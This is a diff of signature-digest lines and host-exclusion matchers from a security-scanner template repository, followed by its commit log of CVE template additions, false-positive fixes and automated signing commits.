-# digest: 4a0a00473045022100945b35d3968d6665d59d676f548acc5d851f15bffd6fbc4cf519a18de78501c702205fcb74c4c2068563486424555821d7e86a761119c339802f969dc7f5c092db65:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ef5c8a52152d0d7d06a683bdb8ae59a0d9ddf7fa8dda1227efe423806968cce6022100bef1f1de8bfc48f18a8dda6e7f8617a5fbe41da87eeb02e3cfa4f944019fc79a:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
          - 'contains(body, "layout:\"fit\",title:\"uniGUI Standalone Server\"")'
          - 'contains(body, "layout:\"absolute\",title:\"Server Statistics\"")'
        condition: or
-# digest: 4a0a00473045022100f190f2e9c367464cfa0131fb41992bfb830ea54b86ce5ece0984519ee49eae7902204d4ac44efe9795dd8c46b1eedaa50f44c89476482966cbf848e53e9baf07bdda:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022009aeecdbdf89ec057bfa724e1ee90bbd3ce0780788fe726ca20f2ff59c9204c6022100d117c2afaebec0d50767d6c08336586e90cdd3b4ee2f7353805b1b0b06f9a741:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"1password.com")'
-# digest: 4a0a00473045022100de70387cc4b872d010a74ad155d78d972e7a01ebf5be2b2659d130cbc5e4019b022030724fd65c2231fed225bea611fc3a672de7d5c2a00fde4ba2558524373a73af:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022038420bc717c1fdbf1b67cea1ee0080a4c21290dd6981d5aa64b824af61d64074022100f2545e268c3d6d0ee52d0a4940ff2c66c51a267d211258eb8ab85c5c8d2acfbe:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"adobe.com")'
-# digest: 490a00463044022028914a6c7a7f829bd2c7a2807b7f73707507b18074bdfc27ec7f726e332bcdef02206e39fb535ec85c0114314acd42c56564babb71fb6f4c5ffab05a1262a3179f45:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100fa819439315e3c25a22c4a553388af69505492136a46fda31f9591cb988e5c33022100cfbf9f1832d2885334bb6839794fb83704f973d567b48ad8e19433e37e0e69fd:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"aliexpress.com")'
-# digest: 490a004630440220325857667d68a5e168b48e64433d2f504a94b38d1047947c0904c4b5dc0f0afd02200179a05b38fabda4f606c17ee1c987c236e45044b553212164c40752d4199465:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022019dace31bb08269ba44a6de1cccb8a5ced01b9065ba7c861381bff826bf66a92022100a48d8cfa341c85d5957086b15a034645731ebac851125d9d3561e01ac7d2a563:922c64590222798bb761d5b6d8e72950
@@ -51,4 +51,4 @@ http:
          - '!contains(host,"amazon.ae")'
          - '!contains(host,"amazon.com.tr")'
        condition: and
-# digest: 4a0a00473045022023053481b42c422bcd478295e55be2009ec7b88d77c73d9c69d5caf412dc85a5022100ce54e731b8b08cf6a37e188d1c73ac3ffbd43248602efd4d2f1203a3f42eaf91:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210086b8730ab116addfae05ec35df06ca2848d187f6a6bd35a297048a062b45e7fa0221009014efeb707cc1814793bc810ce23089341b53a737b749d30dda0930d5677706:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"amazon.com")'
-# digest: 490a0046304402207a2c5751963fb0c0dec8cf420cc0f9e9a34cb0385ade540a7f7ef95754114f8d022059f8b8f8062659188cb1d6879e884119169fc7460ae38e5f8e552a3e959ab172:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a6f02b84febeb9096b83120a7a12b94ad2def353d1ebfe8c3ab16c1f284fba3c022100b10b66cb6da4090d666b015cbe777f41f19d29b2a803af1ef9d72f4245776537:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"americanexpress.com")'
-# digest: 4b0a00483046022100c85880dc7654987c90ec9a9fc3e0d494f000afb07c2c96fa31680e12a55483ad022100f5541d333ba8f284ed3e844a5af2f32b969ad90c61d40942ae5da93e6806c97e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210093532fd7e064d4a55c962fd9022e87d14bd89543cf4ca5e3b11395c225a3064402207cdc5f6722e74a522e5432eb27ab12b570f04c3deac989b7e22d651a28163ec4:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"anydesk.com")'
-# digest: 4a0a0047304502206a4e2224c785e03d9f36a994dbb31831e7061386d913301dfc06a7e491325c5b022100a8f1745a6ece3a9b8d5a9bcebd366e80fc29f7987ed0f3dbac8faf253777ab2b:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220124f7c1396577c45f68f91aa60a346081abc9e0c23dcf57a9dea293f50b56cd502205e6e8fbacf24b35c76d3fcb180d8f60f769554f3c52d589e0f0eb345707552c2:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"avast.com")'
-# digest: 490a0046304402201cc2f2482e0228a1f1f4832ba40ed3060ef50cb2f986f2731375027c22f1c75302200d8b245c88c195f2409bc0ae2adb1fd093a1f34b329aadea1ded4c3a5210c10e:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220150d22dc7e4af936159c6742407f94c9f5710d8176da9b7ddac0e98ab57b6b05022073bbc86fd0b4249ca96869c369079531aff7dd7c1ad821e60a905e4d35d94dd9:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"avg.com")'
-# digest: 4a0a00473045022002dd4f10dbe381c27ca7ea81f83dfb811c4557c5d00c2974db9546ba9b2cd59202210087b3b08ec810d933b9742541ad3fc071e72d28627ce871d3b5f3ce8c4315e932:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a374ff1acf81075347bf9738bad48f3721efdf5a64f733dbcb663c14388cd58d022100d13db1ab9635b66d9830b97c7c5ca39d9f7c7b20ca17d2c1bb3d62bd8af5998e:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"bankofamerica.com")'
-# digest: 490a00463044022023a00a7ee6c13c5c5edd57df5301992ba78ab2fdf7241ca33b253d05f71645430220034d94cf93b8f0be0d2632ea09f60f0d38b9123f63b752b5084fd4f9657a1498:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008c336e67dcf19ecd1157615fcccbff7f99153cc38fe1f0ca109c12430b2619e302206922ff77aaed30829bc384834208c8e98a440da0e191f9fc973065d5c739cf96:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        dsl:
          - '!contains(host,"battle.net")'
          - '!contains(host,"blizzard.com")'
-# digest: 490a00463044022011f7caa5baa7f3b10dc31f7b2b8968fc5a9c582a18c83a447bf2160cca037db502200e3f2f26756fce4899a490df1ae66d4aa2189cc55e60926722ad4658ce3ec9ac:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100dd30bd9421f7ee16aeee8b8d09694893ae38528c767fd0628f37468f0b0531a3022100e8a3c6843f7e6a8ae84e5d48c44143dc1da981dd91c4de225df10dfab1443baf:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"bestbuy.com")'
-# digest: 490a00463044022002488924410db57bee529d4b663543fea44a0a701107e0e2865d2b97de91a58002200263a87dab510348805f0292b2755503fda87c6c3661676c498a6844e7aa2350:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202a1b18c8588a628bb1a03a08db24d4e7786a7253896f35d9736ba200b2efdc4c0220189777ec92f882bc8a94a1513390e12c45f54fb4961e84bcf32ab75fae60e148:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        dsl:
          - '!contains(host,"bitdefender.com")'
          - '!contains(host,"bitdefender.co.uk")'
-# digest: 4a0a0047304502200a36fe3123941ed283c46d041872f838093826649ce02ec33ca478c544767c3e022100d7b0bceba1c09ca5139a7cbaf7b507b81abd688afe9ef8d4cfcaea53fa9824c8:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c4474c881b2ed543732723b7e13d0d4d660d109ba5e8151731c4ae59b26f7148022100ade1634d370efdeb2176b66dc78a3c29e09d8e5530e17b428d0efa7cdc703ffc:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"bitwarden.com")'
-# digest: 4a0a0047304502203f745634c2d01d0410ea43f32ebdd4967fd68a2703e46de50f4040f4426b769c022100df6e6e7dbd378d1e59c09ead69fb8607195cd4625ec71da87fc817acd3567faa:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f02164f263001428c9e0671bf1b97e33111bc388a16e8338cf9854fdc02dd23f022100efc65f5bcf997bb937b0c7ab39417634eb420eaf15a62dfb6bfc1dfe1f972706:922c64590222798bb761d5b6d8e72950
Author	SHA1	Message	Date
MaineK00n	76d82edd1e	fix: fix typo in CVE-2024-36104.yaml	2025-08-16 11:41:14 +09:00
ghost	2cd42f9d83	chore: generate new addition list 🤖	2025-08-15 07:28:05 +00:00
ghost	d8d1736021	chore: generate templates checksum 🤖	2025-08-15 07:28:00 +00:00
ghost	187eeff30a	chore: sign templates 🤖	2025-08-15 07:27:58 +00:00
Ritik Chaddha	f48d8293ad	Merge pull request #12718 from rxerium/well-known-checks ./well-known/ exposures	2025-08-15 12:57:32 +05:30
ghost	ab4bff9d34	chore: generate templates checksum 🤖	2025-08-15 07:23:46 +00:00
Ritik Chaddha	3caf261945	Merge pull request #12791 from Jaenact/add-time-based-sqli feat(sqli): Add multiple payloads and author to time-based-sqli template	2025-08-15 12:53:23 +05:30
Ritik Chaddha	71ebe9b488	Update nostr-json-exposure.yaml	2025-08-15 12:53:02 +05:30
Ritik Chaddha	235f787acc	Update pki-validation-exposure.yaml	2025-08-15 12:51:32 +05:30
ghost	50ebefeba8	chore: sign templates 🤖	2025-08-15 07:05:26 +00:00
ghost	47ba40d5e7	chore: generate new addition list 🤖	2025-08-15 07:05:25 +00:00
ghost	672a800f1d	chore: generate templates checksum 🤖	2025-08-15 07:05:17 +00:00
Ritik Chaddha	425ab38d14	Merge pull request #12887 from darses/patch-43 Add espec-web-controller-panel	2025-08-15 12:34:50 +05:30
ghost	90bf006d4e	chore: generate templates checksum 🤖	2025-08-15 04:58:23 +00:00
ghost	a268b6f160	chore: sign templates 🤖	2025-08-15 04:58:18 +00:00
Dhiyaneshwaran	ad54d306d7	Merge pull request #12889 from projectdiscovery/fix-FP-CVE-2019-5128 Fix FP CVE-2019-5127, CVE-2019-5128 & CVE-2019-5129	2025-08-14 21:57:54 -07:00
Ritik Chaddha	009c1d78c6	fix	2025-08-15 09:56:56 +05:30
Ritik Chaddha	e948f24d8e	Update CVE-2019-5127.yaml	2025-08-15 09:55:26 +05:30
Ritik Chaddha	a2f7f4bcd1	Update CVE-2019-5129.yaml	2025-08-15 09:54:58 +05:30
ghost	a5f03590d8	chore: generate templates checksum 🤖	2025-08-15 04:24:28 +00:00
ghost	1f556ef5b9	chore: sign templates 🤖	2025-08-15 04:24:20 +00:00
ghost	a5bfac38ae	chore: generate CVEs metadata 🤖	2025-08-15 04:24:16 +00:00
Dhiyaneshwaran	fec6a2bb80	Merge pull request #12759 from adervis3/main Improve and Update CVE-2024-36104 and CVE-2024-38856	2025-08-14 21:23:56 -07:00
Ritik Chaddha	9899610305	Fix FP CVE-2019-5128 & CVE-2019-5128	2025-08-15 09:52:52 +05:30
Ritik Chaddha	a25efcaaec	Update CVE-2024-38856.yaml	2025-08-15 09:41:18 +05:30
Ritik Chaddha	dd6a22a659	Update CVE-2024-36104.yaml	2025-08-15 09:39:23 +05:30
ghost	2ca2e723ca	chore: sign templates 🤖	2025-08-15 04:08:39 +00:00
ghost	e7d13c3bdc	chore: generate templates checksum 🤖	2025-08-15 04:08:37 +00:00
Dhiyaneshwaran	6e9759aca7	Merge pull request #12788 from 0x4bdo/patch-2 fix(exposed-pki-cert): tighten matchers and remove root path to reduc…	2025-08-14 21:08:12 -07:00
Ritik Chaddha	3233b88040	added missing slash	2025-08-15 09:03:16 +05:30
Ritik Chaddha	c2c1c26d87	Update exposed-pki-cert.yaml	2025-08-15 09:01:40 +05:30
ghost	6906ebccc8	chore: generate new addition list 🤖	2025-08-15 02:43:06 +00:00
ghost	85240428b1	chore: generate templates checksum 🤖	2025-08-15 02:43:03 +00:00
ghost	581dce6bc8	chore: sign templates 🤖	2025-08-15 02:43:02 +00:00
ghost	4388c64a26	chore: generate CVEs metadata 🤖	2025-08-15 02:42:58 +00:00
Dhiyaneshwaran	83fbe59262	Merge pull request #12633 from projectdiscovery/pussycat0x-patch-16 Create CVE-2025-6934.yaml	2025-08-14 19:42:33 -07:00
Dhiyaneshwaran	76ded9f419	Merge branch 'main' into well-known-checks	2025-08-14 19:41:28 -07:00
ghost	57b9ff2a24	chore: generate templates checksum 🤖	2025-08-15 02:41:14 +00:00
ghost	e29be8f7ed	chore: sign templates 🤖	2025-08-15 02:41:12 +00:00
ghost	3a04f32ba7	chore: generate CVEs metadata 🤖	2025-08-15 02:41:09 +00:00
Dhiyaneshwaran	23dfd08b7e	Merge pull request #12780 from SeungAh-Hong/add-cve-2025-34073 Add CVE-2025-34073.yaml	2025-08-14 19:40:44 -07:00
Dhiyaneshwaran	4f4d25dc22	Merge branch 'main' into pussycat0x-patch-16	2025-08-14 19:37:31 -07:00
Dhiyaneshwaran	df7d439c00	added-flow	2025-08-15 08:07:06 +05:30
ghost	d1df3a00ec	chore: generate templates checksum 🤖	2025-08-15 02:17:29 +00:00
ghost	d4a00ed245	chore: sign templates 🤖	2025-08-15 02:17:22 +00:00
ghost	09ab7f91cb	chore: generate CVEs metadata 🤖	2025-08-15 02:17:16 +00:00
Dhiyaneshwaran	e7dead45c3	Merge pull request #12816 from oleveloper/http/cves/cve-2022-1995 fix: reduce false positives in CVE-2022-1595.yaml	2025-08-14 19:16:57 -07:00
Dhiyaneshwaran	05b916f580	fix-template-format	2025-08-15 07:37:48 +05:30
ghost	387ed98fed	chore: generate new addition list 🤖	2025-08-15 02:01:00 +00:00
ghost	58ca46103a	chore: generate templates checksum 🤖	2025-08-15 02:00:59 +00:00
ghost	e2e9901bf9	chore: sign templates 🤖	2025-08-15 02:00:54 +00:00
ghost	1d3011e4c8	chore: generate CVEs metadata 🤖	2025-08-15 02:00:48 +00:00
Dhiyaneshwaran	0ae12e8b30	Merge pull request #12817 from s-cu-bot/s-cu-bot Added CVE-2025-54589 Template	2025-08-14 19:00:28 -07:00
Dhiyaneshwaran	569c8d8954	Merge branch 'main' into add-cve-2025-34073	2025-08-14 18:53:50 -07:00
ghost	427834d8ac	chore: generate templates checksum 🤖	2025-08-15 01:47:15 +00:00
ghost	503c3cc3d1	chore: sign templates 🤖	2025-08-15 01:47:14 +00:00
Dhiyaneshwaran	60b1682ca0	Merge pull request #12885 from darses/patch-42 Update ncentral-panel	2025-08-14 18:46:50 -07:00
ghost	b235d4ca00	chore: generate templates checksum 🤖	2025-08-15 01:43:15 +00:00
ghost	d97cb69082	chore: generate new addition list 🤖	2025-08-15 01:43:10 +00:00
ghost	5ffbe83e2f	chore: sign templates 🤖	2025-08-15 01:43:03 +00:00
Dhiyaneshwaran	45b257167a	Merge pull request #12832 from mailler0xa/main Added NVIDIA's Triton Inference Server.	2025-08-14 18:42:40 -07:00
Dhiyaneshwaran	820bab8ff0	fix-template	2025-08-15 07:08:12 +05:30
Dhiyaneshwaran	3ae08531e4	format-fix	2025-08-15 06:51:48 +05:30
Chris	fd6c7388ea	Add espec-web-controller-panel	2025-08-14 17:47:09 +02:00
Chris	31632a8cd6	Update ncentral-panel - Additional Shodan/FOFA queries - Extract version number	2025-08-14 14:00:36 +02:00
Ritik Chaddha	2a4cb632a9	fix matchers	2025-08-14 14:47:39 +05:30
pussycat0x	cbef65baf7	minor - changes	2025-08-13 14:12:30 +07:00
Dhiyaneshwaran	c77d29a708	fix-spacing	2025-08-13 11:30:08 +05:30
Dhiyaneshwaran	deee03936f	Merge branch 'main' into add-cve-2025-34073	2025-08-09 21:42:37 -07:00
Mailler	94cfca0e3e	will this fix that dash thingy when viewed online?	2025-08-07 22:29:06 +03:00
Mailler	9f8d0b882a	added extensions as a matcher too	2025-08-07 20:23:17 +03:00
Mailler	d67c51d691	removed Shodan and Fofa queries since they aren't accurate	2025-08-07 18:37:30 +03:00
Dhiyaneshwaran	7998ac7469	added additional reference , updated matcher	2025-08-07 19:30:19 +05:30
oleveloper	4f947d7f98	fix: reduce false positives in CVE-2022-1595.yaml - Strengthened cookie matcher to require 'wordpress_logged_in_' instead of generic 'wordpress_' - Added regex matcher for Location header to only match '/wp-admin/' or '/custom-slug/wp-login.php' paths - Preserved original metadata, severity, and references - Reduces false positives on generic WordPress login redirects while retaining detection accuracy for vulnerable HC Custom WP-Admin URL plugin instances	2025-08-06 23:38:15 +09:00
s-cu-bot	23a935b5ed	Added CVE-2025-54589 Template	2025-08-06 23:21:08 +09:00
Mailler	7ed82abe3d	added Nvidia Triton Inference Server panel	2025-08-06 12:54:24 +03:00
pussycat0x	1eb9d00e13	Template - Enhancement	2025-08-05 23:21:30 +05:30
Jaenact	b02c089466	feat(sqli): Add multiple payloads and author to time-based-sqli template	2025-08-05 14:30:23 +09:00
4bd0	19dc56faa0	fix(exposed-pki-cert): tighten matchers and remove root path to reduce false-positives - Changed matchers-condition from `or` to `and` to require both keyword and regex matches - Removed the empty payload path (`""`) to avoid scanning the root URL - Prefixed all `paths` entries with `/` for consistency - Simplified and strengthened regex patterns for `CN` and `.crl/.cer/.p7b` links - Enhanced OCSP stub exclusion using a more precise regex	2025-08-05 02:40:14 +03:00
SeungAh Hong	7d53855fea	Add CVE-2025-34073.yaml	2025-08-04 21:01:24 +09:00
pussycat0x	fd34d9a384	lint -fix	2025-08-01 19:19:05 +05:30
pussycat0x	1fae97a5e2	tags -update	2025-08-01 19:06:49 +05:30
pussycat0x	b74dadcfa1	Fix- Fixed pki-validation-exposure.yaml	2025-08-01 18:35:36 +05:30
pussycat0x	ba4a8d1585	Fix - oauth-authorization-server-exposure.yaml	2025-08-01 18:27:27 +05:30
pussycat0x	af150dc807	Format - Fix nostr-json-exposure.yaml	2025-08-01 18:01:28 +05:30
pussycat0x	e2461db562	format - fix mta-sts-exposure.yaml	2025-08-01 17:52:47 +05:30
adervis3	e8fcbcfc34	Update CVE-2024-36104.yaml	2025-08-01 07:50:37 +03:00
adervis3	778fffd2a4	Update CVE-2024-38856.yaml	2025-08-01 07:48:06 +03:00
adervis3	ddccc8db6f	Merge branch 'projectdiscovery:main' into main	2025-07-31 13:57:48 +03:00
adervis3	4e91147cbd	Update CVE-2024-38856.yaml Added Windows support.	2025-07-31 13:57:08 +03:00
adervis3	ab7cfb6ffb	Update CVE-2024-36104.yaml Fixed epss score	2025-07-31 13:55:52 +03:00
adervis3	da343a07fa	Update CVE-2024-36104.yaml Added Windows support.	2025-07-31 13:51:52 +03:00
Rishi	47d7dc2b54	lint fixes	2025-07-25 18:10:03 +01:00
Rishi	1b37b7778d	fix	2025-07-25 17:50:17 +01:00
Rishi	9c3a2b335b	well-known exposures	2025-07-25 17:28:53 +01:00
Prince Chaddha	dc0ac9920c	reverted nonce value	2025-07-18 14:28:57 +04:00
Prince Chaddha	96131d0cc7	Update CVE-2025-6934 template with proper formatting and metadata - Fixed grammar, spelling, and spacing in description - Added classification with CVSS metrics and CVE/CWE IDs - Added impact and remediation sections - Updated metadata with vendor, product, and Shodan query - Enhanced tags with proper WordPress plugin tags - Fixed variable quoting for consistency - Improved nonce extraction usage in POST request - Enhanced matchers to validate plugin presence	2025-07-18 14:26:56 +04:00
pussycat0x	7c78d2fb0e	Update and rename CVE-2025-49029.yaml to CVE-2025-6934.yaml	2025-07-17 14:59:35 +05:30
pussycat0x	292cfd8933	Update CVE-2025-49029.yaml	2025-07-17 14:54:32 +05:30
pussycat0x	fc03dc049f	Create CVE-2025-49029.yaml	2025-07-17 14:51:58 +05:30